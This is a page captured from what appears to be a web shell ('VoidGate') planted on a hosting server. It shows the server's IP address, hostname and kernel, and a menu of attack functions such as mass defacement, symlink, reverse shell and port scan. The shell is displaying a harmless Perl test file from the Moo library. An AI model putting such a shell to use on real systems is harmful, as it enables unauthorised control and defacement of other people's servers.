ヤミRoot VoidGate
User / IP
:
216.73.216.2
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
.cpanm
/
work
/
1568630680.21759
/
Moo-2.003004
/
t
/
Viewing: init-arg.t
use Moo::_strictures; use Test::More; use Test::Fatal; { package Foo; use Moo; has optional => ( is => 'rw', init_arg => 'might_have', isa => sub { die "isa" if $_[0] % 2 }, default => sub { 7 }, ); has lazy => ( is => 'rw', init_arg => 'workshy', isa => sub { die "aieee" if $_[0] % 2 }, default => sub { 7 }, lazy => 1, ); } like( exception { Foo->new }, qr/\Aisa check for "optional" \(constructor argument: "might_have"\) failed:/, "isa default" ); like( exception { Foo->new(might_have => 3) }, qr/\Aisa check for "optional" \(constructor argument: "might_have"\) failed:/, "isa init_arg", ); is( exception { Foo->new(might_have => 2) }, undef, "isa init_arg ok" ); my $foo = Foo->new(might_have => 2); like( exception { $foo->optional(3) }, qr/\Aisa check for "optional" failed:/, "isa accessor", ); like( exception { $foo->lazy }, qr/\Aisa check for "lazy" failed:/, "lazy accessor", ); like( exception { $foo->lazy(3) }, qr/\Aisa check for "lazy" failed:/, "lazy set isa fail", ); is( exception { $foo->lazy(4) }, undef, "lazy set isa ok", ); like( exception { Foo->new(might_have => 2, workshy => 3) }, qr/\Aisa check for "lazy" \(constructor argument: "workshy"\) failed:/, "lazy init_arg", ); { package Bar; use Moo; has sane_key_name => ( is => 'rw', init_arg => 'stupid key name', isa => sub { die "isa" if $_[0] % 2 }, required => 1 ); has sane_key_name2 => ( is => 'rw', init_arg => 'complete\nnonsense\\\'key', isa => sub { die "isa" if $_[0] % 2 }, required => 1 ); } my $bar; is( exception { $bar= Bar->new( 'stupid key name' => 4, 'complete\nnonsense\\\'key' => 6 ) }, undef, 'requiring init_arg with spaces and insanity', ); is( $bar->sane_key_name, 4, 'key renamed correctly' ); is( $bar->sane_key_name2, 6, 'key renamed correctly' ); done_testing;
Coded With 💗 by
0x6ick